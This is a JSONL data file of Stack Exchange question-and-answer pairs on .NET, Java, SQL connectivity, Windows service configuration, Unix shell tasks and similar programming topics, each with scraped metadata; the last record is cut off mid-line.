{"id": "hf_a078e72104af", "question": "<p>What's the best way to do it in .NET?\nI always forget what I need to <code>Dispose()</code> (or wrap with <code>using</code>).</p>\n\n<p>EDIT: after a long time using <code>WebRequest</code>, I found out about customizing <code>WebClient</code>. Much better.</p>\n", "question_body": "", "answer": "Here's what I use, it seems to work, but I don't know if it's the best way:\n```\n```\npublic string GetRequest(Uri uri, int timeoutMilliseconds)\n{\n    var request = System.Net.WebRequest.Create(uri);\n    request.Timeout = timeoutMilliseconds;\n    using (var response = request.GetResponse())\n    using (var stream = response.GetResponseStream())\n    using (var reader = new System.IO.StreamReader(stream))\n    {\n        return reader.ReadToEnd();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.743601"}
{"id": "hf_a9c809cf33e7", "question": "<p>I need to disable windows-update service from my installation. I already use vbscript to do some stuff so I would like to do it in vbscript.</p>\n\n<p>My knowledge of vbscript (or any other script language) is very limited so...can anybody help me out with that? I'll really appreciate it!</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "If you want to use VBScript, use WMI:\n```\n```\nstrComputer = \".\"  'could be any computer, not just the local one '\nSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n\nSet colServiceList = objWMIService.ExecQuery _\n(\"Select * from Win32_Service where Name = 'wuauserv'\")\n\nFor Each objService in colServiceList\n  objService.ChangeStartMode(\"Disabled\")\nNext\n```\n```\nLook into\nthe documentation of the WMI Win32_Service Class\nto find out what else might be doable.\nEasier would be the use of\n```\nsc.exe\n```\n:\n```\nsc config wuauserv start=auto\n```\nHere is an excerpt of what\n```\nsc.exe\n```\ncan do:\n```\n```\nC:\\>sc config\nModifies a service entry in the registry and Service Database.\nSYNTAX:\nsc <server> config [service name] <option1> <option2>...\nCONFIG OPTIONS:\nNOTE: The option name includes the equal sign.\n type= <own|share|interact|kernel|filesys|rec|adapt>\n start= <boot|system|auto|demand|disabled>\n error= <normal|severe|critical|ignore>\n binPath= <BinaryPathName>\n group= <LoadOrderGroup>\n tag= <yes|no>\n depend= <Dependencies(separated by / (forward slash))>\n obj= <AccountName|ObjectName>\n DisplayName= <display name>\n password= <password>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.768068"}
{"id": "hf_298a28cd07c5", "question": "<p>I have a List containing several keywords.\nI foreach through them building my linq query with them like so (boiled down to remove the code noise):</p>\n\n<pre><code>List&lt;string&gt; keys = FillKeys()\nforeach (string key in keys){\n    q = q.Where(c =&gt; c.Company.Name.Contains(key));\n}\n</code></pre>\n\n<p>When I now make my keys contain 2 keys that return results seperatly, but can never occure together (every item in q is either \"xyz\" or \"123\", never \"123\" AND \"xyz\"), I still get results. The resultset is then the same as the last string it got to.</p>\n\n<p>I had a look at the linq query and it appears it creates the correct sql, but it replaces @p1 AND @p2 both by the same (last itterated) value.</p>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "You're reusing the same variable (\n```\nkey\n```\n) in your lambda expression.\nSee my article on\nanonymous methods\nfor more details, and there are a number of related SO questions too:\nLINQ to SQL bug (or very strange feature)...\nLocal variables with delegates\nC# captured variable in a loop\nC# gotcha answer\nBuilding a LINQ query programmatically without local variables tricking me\nThe simple fix is to copy the variable first:\n```\n```\nList<string> keys = FillKeys()\nforeach (string key in keys){\n    string copy = key;\n    q = q.Where(c => c.Company.Name.Contains(copy));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.855330"}
{"id": "hf_9cbca1646cf1", "question": "<p>I'm writing an applicationt hat was prototyped on MySQL and is now connecting to an Oracle database.</p>\n\n<p>All I had to do to connect to the oracle database (having built up the table structure) was change the connection string.</p>\n\n<p>What is the format to connect to a SQL Server DB on another machine?</p>\n\n<p>I've read some tutorials which tell you to use the SQL Server JDBC adaptor but I'd rather configure the application so that it's database agnostic, and just have the connection string specify the protocol etc.</p>\n\n<p>Any references I've seen which tell you how to use the bridge with SQL Server require the ODBC Data Source to be installed, this is less than ideal as my app may run on Linux or windows.</p>\n\n<p>I'm not doing anything complicated just inserts.</p>\n", "question_body": "", "answer": "You should not use the JDBC-ODBC bridge in a production environment. It is much slower than other JDBC drivers and only necessary when a JDBC driver is not available.\nSQL Server has a\nJDBC driver\navailable from Microsoft. If you use it then you will get the required result.\nWith the ODBC bridge you have no choice but to install the ODBC driver.\nThis\narticle\ndescribes the connection string you will need to use to connect to the SQL Server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.891821"}
{"id": "hf_ec41b5440e6c", "question": "<p>Any ideas on how I can acheive 'Hierarchical' gridview?\nBasically I want when the user clicks on the '+', i \"expand\" and insert new rows without a full page post back. </p>\n\n<p>Does this sound like a lot of AJAX stuff? Or should I read on ASP.NET MVC</p>\n\n<p>Please point me in right direction</p>\n", "question_body": "", "answer": "You have two options I suppose:\nYou can render out those rows you want to insert, and the [+] shows them and hides them\nYou don't render them out, and they are sent to the browser via AJAX, and then inserted into the table.\nI've done it both ways, and the more gridviewy way to do it is the first, in my opinion.  You can create a new templatefield for the [+]; define a child relationship name, and then  call\nGetChildRows\n(or an equivalent) on each row as you render, having those rows render hidden.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.916129"}
{"id": "hf_b76b89098eda", "question": "<p>Given the following Delphil DLL declaration</p>\n\n<pre><code>function csd_HandleData(aBuf: PChar; aLen: integer): integer; stdcall;\n</code></pre>\n\n<p>what would be the VB6 declaration to use it?</p>\n\n<p>I've tried a variety of declarations, e.g.</p>\n\n<pre><code>Declare Function csd_HandleData Lib \"chsdet.dll\" (ByVal aBuf As String, ByVal aLen As Integer)\nDeclare Function csd_HandleData Lib \"chsdet.dll\" (aBuf As Long, ByVal aLen As Integer)\nDeclare Function csd_HandleData Lib \"chsdet.dll\" (aBuf As Byte, ByVal aLen As Integer)\n</code></pre>\n\n<p>with the relevant code to suit the parameters, but nothing seems to work, i.e. the Delphi debugger says I have a too-largish value in aLen and a null string in aBuf.</p>\n\n<p>I am working toward using a TypeLib to drive the connection, but was prototyping with Declares.</p>\n", "question_body": "", "answer": "try\n```\n```\nDeclare Function csd_HandleData Lib \"chsdet.dll\" (ByVal aBuf As String, \nByVal aLen As Integer) As Integer\n```\n```\nSeems you forgot the return value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.956170"}
{"id": "hf_4d195f50fecb", "question": "<p>I'm writing an application which has to be configurable to connect to Oracle, SQL Server and MySQL depending on client whim.</p>\n\n<p>Up till now I'd been planning on using the JDBC-ODBC bridge and just connecting to the databases using different connection strings.</p>\n\n<p><strong>I'm told this is not very efficient.</strong></p>\n\n<ol>\n<li><p>Is there a pattern or best practice for connecting to multiple database systems? Or for selecting which driver to use?</p></li>\n<li><p>Should I have it configurable? but include all three drivers or build three separate clients?</p></li>\n</ol>\n\n<p>I'm not doing anything complex just pumping (inserting) data into the database from an event stream.</p>\n", "question_body": "", "answer": "If you need anything complex, Hibernate is a good choice.\notherwise, what I would do is store your connection details in a properties file (or some other form of configuration) - namely: driver classname, JDBC url, username and password.\nThen, all you need to do is load up the connection details from your properties file and include the correct JAR file on your classpath and you're done.\nYou could use a library such as Commons-DBCP if you wanted it to be a little easier to configure but other than that it's all you need to do (provided your SQL statements work on every database, of course).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.029996"}
{"id": "hf_59fda2c66b61", "question": "<p>I am trying to have one one layer, and center images within. I.E., if I have 3 images and want 3 links beneath them, is there a way to do this without using a separate div tag for each link and image? To automatically make the links be centered under the images, and the images to be spaced evenly within a layer? </p>\n\n<p>I was also wondering how I would make the div show behind standard html if that is possible. I.E. if I have some text and a div over the text, the div will default show over the text, when I would like it to be behind. Is this only possible by using another layer?</p>\n", "question_body": "", "answer": "Yes, you'll have to put a container element, such as a div, around each image and its caption to keep them together.\n```\n```\n<div class=\"pictureBox\">\n    <div>\n        <img />\n        caption caption\n    </div>\n    <div>\n        <img />\n        more caption\n    </div>\n</div>\n--------\n.pictureBox div {\n    text-align: center;\n    /* whatever width/height/positioning you want */\n}\n```\n```\nfor the second part of the question, regarding putting it behind the other text, take a look at\nCSS z-index\n, though I think that only applies to absolutely positioned elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.093527"}
{"id": "hf_c758cc4d0400", "question": "<p>What is and how can it be used in C#.<br/>\nCan you use the same concept in Python/Perl?</p>\n", "question_body": "", "answer": "A\npartial type\n(it doesn't have to be a class; structs and interfaces can be partial too) is basically a single type which has its code spread across multiple files.\nThe main use for this is to allow a code generator (e.g. a Visual Studio designer) to \"own\" one file, while hand-written code is put in another.\nI've no idea whether Python/Perl have the same capabilities, I'm afraid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.141740"}
{"id": "hf_719a060e72e6", "question": "<p>I would like to get the path to the execution directory of a Windows Forms application. (That is, the directory in which the executable is located.)</p>\n\n<p>Does anyone know of a built-in method in .NET to do this?</p>\n", "question_body": "", "answer": "In VB.NET\n```\n```\nDim directory as String = My.Application.Info.DirectoryPath\n```\n```\nIn C#\n```\n```\nstring directory = AppDomain.CurrentDomain.BaseDirectory;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.184171"}
{"id": "hf_01b5ece9e722", "question": "<p>A game that I play stores all of its data in a .DAT file. There has been <a href=\"http://wiki.xentax.com/index.php?title=Guild_Wars_DAT\" rel=\"nofollow noreferrer\">some work</a> done by people in examining the file. There are also some <a href=\"http://wiki.xentax.com/index.php?title=Game_Tools#Guild_Wars\" rel=\"nofollow noreferrer\">existing tools</a>, but I'm not sure about their current state. I think it would be fun to poke around in the data myself, but I've never tried to examine a file, much less anything like this before.</p>\n\n<p>Is there anything I should know about examining a file format for data extraction purposes before I dive headfirst into this?</p>\n\n<p>EDIT: I would like very general tips, as examining file formats seems interesting. I would like to be able to take File X and learn how to approach the problem of learning about it.</p>\n", "question_body": "", "answer": "You'll definitely want a hex editor before you get too far.  It will let you see the raw data as numbers instead of as large empty blocks in whatever font notepad is using (or whatever text editor).\nTry opening it in any archive extractors you have (i.e. zip, 7z, rar, gz, tar etc.) to see if it's just a renamed file format (.PK3 is something like that).\nLook for headers of known file formats somewhere within the file, which will help you discover where certain parts of the data are stored (i.e. do a search for \"IPNG\" to find any (uncompressed) png files somewhere within).\nIf you do find where a certain piece of data is stored, take a note of its location and length, and see if you can find numbers equal to either of those values near the beginning of the file, which usually act as pointers to the actual data.\nSome times you just have to guess, or intuit what a certain value means, and if you're wrong, well, keep moving.  There's not much you can do about it.\nI have found that\nhttp://www.wotsit.org\nis particularly useful for known file type formats, for help finding headers within the .dat file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.255470"}
{"id": "hf_70f89c208bc8", "question": "<p>Currently I have two MediaWikis, one a slightly older version than the other.  I want to merge the contents of both together, without eliminating duplicate pages.  So far the best option I can think of is to use a bot (like pywikipedia) to go through all the pages of one wiki, and try inserting them into the other, renaming duplicate pages.</p>\n\n<p>This solution seems like it would take a while to accomplish though.  Is there a more pleasant way to do this that I'm just unaware of? I haven't worked with the MediaWiki database directly very much, so I'm not very comfortable messing with it without knowing what I'm doing.</p>\n", "question_body": "", "answer": "MediaWiki has\nimport\nand\nexport\nfeatures, that you can use for moving the contents. It does merge histories of existing pages (see import link).\nHowever, it does not handle conlicts of two different pages with the same name, so you'll have to handle moving the pages by yourself. As far as I can see in description of MediaWiki\npage table\n, you might be able to find and rename duplicate pages directly in SQL, but pywikipedia should work too (but you'll need to delete redirects that will result from \"correct\" page moves, otherwise they'll mess up with imported pages from the other wiki).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.284344"}
{"id": "hf_c8a56541a541", "question": "<p>I have a website built in C#.NET that tends to produce a fairly steady stream of SQL timeouts from various user controls and I want to easily pop some code in to catch all unhandled exceptions and send them to something that can log them and display a friendly message to the user.</p>\n\n<p>How do I, through minimal effort, catch all unhandled exceptions?</p>\n\n<p><a href=\"https://stackoverflow.com/questions/944/unhandled-exception-handler-in-net-11\">this question</a> seems to say it's impossible, but that doesn't make sense to me (and it's about .NET 1.1 in windows apps): </p>\n", "question_body": "", "answer": "Do you mean handling it in all threads, including ones created by third-party code? Within \"known\" threads just catch\n```\nException\n```\nat the top of the stack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.320388"}
{"id": "hf_b91bb2619dba", "question": "<p>I am trying to write an installer (by creating a .vdproj) that will work on both Windows Vista and XP.  The only thing I am finding is that when I try to run it on Vista, the files that I include in the installer are installed with Read-only permissions for the Users groups.  This is a problem because the application needs to read/write from these files.  The only way I have been able to get it to work is to either \"Run as Administrator\" or actually change the permissions.  Does anyone know how to make these files be open to anyone to write?  Thanks.</p>\n", "question_body": "", "answer": "The Program Files folder and it's contents are read only for standard users.  This is by design, and you'll find that\nthis is the case on Windows XP as well.\nIt's just that on windows xp, so many people run with administrator rights all the time that you might get away with it.  If you ever want to distribute your app into a business environment, you'll soon find that   it won't work on XP there, either.\nThe solution is to NOT place files in the program's executable folder if standard users will need write access.  Put them in the Application Data folder instead.  For most xp machines, that will be here:\nC:\\Documents And Settings\\All Users\\Application Data\\Your App\nHowever, that won't always be the case and it's a little different on Vista anyway, so make sure you get that path via the mechanism provided by your programming environment.  In .Net, you can use the\n```\nEnvironment.GetFolderPath()\n```\nfunction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.371901"}
{"id": "hf_9f1501c96c24", "question": "<p>The XML file I want to parse starts with  :</p>\n\n<pre><code>&lt;!DOCTYPE plist PUBLIC \"-//...//DTD PLIST 1.0//EN\" \"http://www.....dtd\"&gt;\n</code></pre>\n\n<p>So when I start the SAX praser, it tries to access this DTD online, and I get a java.net.UnknownHostException.</p>\n\n<ol>\n<li>I cannot modify the XML file before feeding it to the SAX parser</li>\n<li>I have to run even with no internet connection</li>\n</ol>\n\n<p>How can I change the SAX Parser behaviour so that it does not try to load the DTD ?\nThanks.</p>\n\n<pre><code>javax.xml.parsers.SAXParserFactory factory = javax.xml.parsers.SAXParserFactory.newInstance();\nfactory.setValidating(false);\n\njavax.xml.parsers.SAXParser parser = factory.newSAXParser();\nparser.parse(xmlFile, handler);\n</code></pre>\n", "question_body": "", "answer": "You can implement a custom\n```\nEntityResolver\n```\nwhich is what is used to lookup external entities during XML parsing.\n```\n```\norg.xml.sax.EntityResolver customEntityResolver = new DummyEntityResolver();\njavax.xml.parsers.SAXParser parser = factory.newSAXParser();\nparser.getXMLReader().setEntityResolver(customEntityResolver);\nparser.parse(xmlFile, handler);\n```\n```\nAnd in your custom EntityResolver, just always return null. I think that should fix this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.408145"}
{"id": "hf_0db30c7fe7e0", "question": "<p>I get the message that the namespace can't be found when I use the code below. Where does the AccessDeniedException live?</p>\n\n<pre><code>try { ... } \ncatch (SomeKindOfException ex) \n{ \nMessageBox.Show(ex.Message); \n} \ncatch (AccessDeniedException ex) \n{ \n//Do something else \n}\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I don't think that's the exception you're looking for.  The only one with this name (that I can find) is in a Sharepoint namespace.  Try attaching the debugger and seeing exactly what the type of the thrown exception is.\nThe type of the exception is going to vary depending on your context.  So for example, if it's an \"access denied\" when trying to open a file, it could be a FileLoadException, or something similar.  If it's encountered because of Code Access Security,  it will be SecurityException.  And so on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.431738"}
{"id": "hf_31800ce3bf17", "question": "<p>We have very strange problem, one of our applications is continually querying server by using .net remoting, and every 100 seconds the application stops querying for a short duration and then resumes the operation. The problem is on a client and not on the server because applications actually queries several servers in the same time and stops receiving data from all of them in the same time.</p>\n", "question_body": "", "answer": "100 Seconds is a give away number as it's the default timeout for a webrequest in .Net.\nI've seen in the past that the PSI (Project Server Interface within Microsoft Project) didn't override the timeout and so the default of 100 seconds was applied and would terminate anything talking to it for longer than that time.\nDo you have access to all of the code and are you sure you have set timeouts where applicable so that any defaults are not being applied unbeknownst to you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.455051"}
{"id": "hf_1876ce8ef132", "question": "<p>I'm sure there is a quick and easy way to calculate the sum of a column of values on Unix systems (using something like <code>awk</code> or <code>xargs</code> perhaps), but writing a shell script to parse the rows line by line is the only thing that comes to mind at the moment.</p>\n\n<p>For example, what's the simplest way to modify the command below to compute and display the total for the SEGSZ column (70300)?</p>\n\n<pre><code>ipcs -mb | head -6\nIPC status from /dev/kmem as of Mon Nov 17 08:58:17 2008\nT         ID     KEY        MODE        OWNER     GROUP      SEGSZ\nShared Memory:\nm          0 0x411c322e --rw-rw-rw-      root      root        348\nm          1 0x4e0c0002 --rw-rw-rw-      root      root      61760\nm          2 0x412013f5 --rw-rw-rw-      root      root       8192\n</code></pre>\n", "question_body": "", "answer": "You could start by running the data through\n```\ncut\n```\n- which would at least trim the columns down.\nYou should then be able to pipe that into\n```\ngrep\n```\n, stripping-out non-numerics.\nThen ... well, then I'm not sure. It might be possible to pipe that to\n```\nbc\n```\n. If not, it could certainly be handed to a shell script to add each item.\nIf you used\n```\ntr\n```\nto change the newlines (\n```\n\\n\n```\n) to spaces (\n```\n```\n), and piped that through xargs into your script that loops until there are no more inputs, adding each one, you may have an answer.\nSo, something akin to the following:\n```\n```\ncat <whatever> | cut -d'\\t` -f7 | grep -v <appropriate-character-class> | tr '\\n' ' ' | xargs script-that-adds-arguments\n```\n```\nI may have the\n```\ncut\n```\nflags slightly wrong - but\n```\nman\n```\nis your friend :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.539294"}
{"id": "hf_f10ebe71e2ae", "question": "<p>I have a .jar file that i've placed in my D:\\Coldfusion8\\wwwroot\\web-inf\\lib\\ directory.  The file is abcdef.jar</p>\n\n<p>This is my first time doing this, not sure what the path should be in my createObject().</p>\n\n<pre><code>&lt;cfset abcObj = createObject(\"java\",\"com.abcdef\") /&gt;\n&lt;cfset result = acbObj.doStuff(\"123456\") /&gt;\n</code></pre>\n\n<p>But when I run it, I get </p>\n\n<pre><code>Object Instantiation Exception.\nClass not found: com.vp4jo_b \n</code></pre>\n\n<p>What am I missing in the path?</p>\n", "question_body": "", "answer": "Have you restarted the Coldfusion Service?\nEven when in the class path, jars are only loaded at server start.\nInfo moved up from the comments:\nMake sure the file is in the System class path, or in the one of the configured class paths of ColdFusion.\nAs for the class name parameter of\n```\nCreateObject()\n```\n: The class name starts within the jar. Open it like a .zip file and look at its structure. The dotted path mimics the folder structure, so if the Server still complains, you must be missing something in the dotted path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.577557"}
{"id": "hf_e7e578509694", "question": "<p>Consider the following code in VB9:</p>\n\n<pre><code>Dim text = \"Line1&lt;br/&gt;Line2\"\nDim markup = &lt;span&gt;&lt;%= text %&gt;&lt;/span&gt;.ToString\n</code></pre>\n\n<p>While I was hoping markup would end up being <code>&lt;span&gt;Line1&lt;br/&gt;Line2&lt;/span&gt;</code>, it actually evaluates to <code>&lt;span&gt;Line1&amp;lt;br/&amp;gt;Line2&lt;/span&gt;</code>.</p>\n\n<p>Is there any way to get the value of the variable not to be HTML encoded?</p>\n\n<p>P.S.: This is an oversimplified example of what I'm trying to do. I know this could be rewritten a number of ways to make it work, but the way my code is constructed, un-encoding the variable would be optimal. If that's not possible, then I'll go down a different road.</p>\n\n<p>More detail: The \"text\" is coming from a database, where a user can enter free-form text, with carriage returns. The output is HTML, so somehow I need to get the value from the database and convert the carriage returns to line breaks.</p>\n", "question_body": "", "answer": "This behavior is \"By Design.\"  When embedding a string expression inside an XML literal the value will be escaped to be a legal string value.\nTo get the behavior you are looking for you'll need to be embedding an XElement/XNode within an XML literal.  Take the following example.  It will correctly keep the\n```\n<br/>\n```\ntag as an XElement.\n```\n```\nDim text2 = <a>Line<br/>Line</a>\nDim markup2 = <span><%= text2 %></span>.ToString\n```\n```\nOne way to achieve this is to fake an XElement.  To make the text a valid string, simply wrap it on both ends with a normal tag,\n```\n<a>\n```\nfor example.  This is now a parsable XML fragment.  Once you have an XElement, it's easy to get the embedded behavior you are looking for\n```\n```\nDim text = \"Line1<br/>Line2\"\nDim text2 = XElement.Parse(\"<a>\" + text + \"</a>\")\nDim markup = <span><%= text2.Nodes %></span>.ToString\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.642939"}
{"id": "hf_1392732886ce", "question": "<p>Could someone explain why this works in C#.NET 2.0:</p>\n\n<pre><code>    Nullable&lt;DateTime&gt; foo;\n    if (true)\n        foo = null;\n    else\n        foo = new DateTime(0);\n</code></pre>\n\n<p>...but this doesn't:</p>\n\n<pre><code>    Nullable&lt;DateTime&gt; foo;\n    foo = true ? null : new DateTime(0);\n</code></pre>\n\n<p>The latter form gives me an compile error \"Type of conditional expression cannot be determined because there is no implicit conversion between '&lt;null&gt;' and 'System.DateTime'.\"</p>\n\n<p>Not that I can't use the former, but the second style is more consistent with the rest of my code.</p>\n", "question_body": "", "answer": "The compiler is telling you that it doesn't know how convert\n```\nnull\n```\ninto a\n```\nDateTime\n```\n.\nThe solution is simple:\n```\n```\nDateTime? foo;\nfoo = true ? (DateTime?)null : new DateTime(0);\n```\n```\nNote that\n```\nNullable<DateTime>\n```\ncan be written\n```\nDateTime?\n```\nwhich will save you a bunch of typing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.667742"}
{"id": "hf_0517c4491918", "question": "<p>When using CDT I would like to have std::string show up in the 'variable' debug window with the string it contains. For instance if it is currently holding the word <em>\"history\"</em> I would like to see <strong>history</strong> in the debugger window labeled \"variables\". </p>\n\n<p>I think that there is a general way to have it drill down into objects but I can't put my finger on it. Does anyone out there know how to do this?</p>\n\n<p>This would also be useful for me to use when outputting just a single field from a complex object.</p>\n\n<p>Thanks,\nBill</p>\n", "question_body": "", "answer": "Note that you\ndon't\nwant a general way of drilling down into objects; you want to pretty-print STL containers.\nI think CDT delegates this to the debugger backend; i.e. it is up to your debugger (gdb, perhaps?) to inform CDT about the value of a variable and how it can be expanded.\nEdit: I don't think that the GDB backend shipped with CDT has any support for \"intelligent\" display of STL containers. If you're really interested in this, I'd suggest that you contact the CDT development team at cdt-dev@eclipse.org.\nUpdate/Edit: Please see other responses below for instructions on how to enable pretty printers in CDT.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.692297"}
{"id": "hf_368f7fc95347", "question": "<p>In Perl</p>\n\n<pre><code>print \"a\" x 3;  # aaa\n</code></pre>\n\n<p>In C# </p>\n\n<pre><code>Console.WriteLine( ??? )\n</code></pre>\n", "question_body": "", "answer": "It depends what you need... there is\n```\nnew string('a',3)\n```\nfor example.\nFor working with strings; you could just loop... not very interesting, but it'll work.\nWith 3.5, you could use\n```\nEnumerable.Repeat(\"a\",3)\n```\n, but this gives you a sequence of strings, not a compound string.\nIf you are going to use this a lot, you could use a bespoke C# 3.0 extension method:\n```\n```\nstatic void Main()\n    {\n        string foo = \"foo\";\n        string bar = foo.Repeat(3);\n    }\n    // stuff this bit away in some class library somewhere...\n    static string Repeat(this string value, int count)\n    {\n        if (count < 0) throw new ArgumentOutOfRangeException(\"count\");\n        if (string.IsNullOrEmpty(value)) return value; // GIGO            \n        if (count == 0) return \"\";\n        StringBuilder sb = new StringBuilder(value.Length * count);\n        for (int i = 0; i < count; i++)\n        {\n            sb.Append(value);\n        }\n        return sb.ToString();\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.739367"}
{"id": "hf_15342a7c3f36", "question": "<p>Being a Windows developer I'm currently working on my own project using LAMP. I understand what I need to know of PHP and MySQL, but Linux looks huge and it's not clear where to start and what is enough given my goals.\nAnd my goals are to grasp general concepts, being able to deploy the project to a hosting provider and to be able to monitor the site's performance in order to spot problems, load issues, etc.</p>\n<p>I know, the best solution is to get a Linux administrator to do that, but before I can do that I need to do it myself.</p>\n", "question_body": "", "answer": "You might consider, based on your introduction, a\nWAMP\noption (Windows Apache MySQL Python, Perl, and PHP).\nLearning Linux isn't\nhard\n, but it's certainly not a short task, either. There're a lot of system administration tasks that carry over platform-to-platform, but the real answer to your question is to become at least a hobbyist Linux administrator, and then go from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.777154"}
{"id": "hf_ec8ec7233866", "question": "<p>We have 50+ Java batch processes that run at different times of the day.  They run on a Solaris box, and are started via cron.  Currently, the only way we only know if they succeed or fail is by an email generated at the end of each batch process.  We have a support team that monitors these emails.  Recently, we've had issues with emails not being received, even though the batches are running.  There must be a better way.</p>\n\n<p>Without having to reinvent the wheel, are there any open source batch monitoring applications?</p>\n\n<p>And a more general question, what is the best way to monitor batch processes?</p>\n", "question_body": "", "answer": "Is there currently some batch management system in-place?  Or are the jobs run through the OS scheduler? (ie, Windows\n```\nSchedule Tasks\n```\nor *nix\n```\ncron\n```\n)\nQuartz\nis an Open Source (Apache License) java-based job scheduler that has infrastructure in place for\nlisteners\nthat can be used for notification purposes, but there would be some code development involved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", 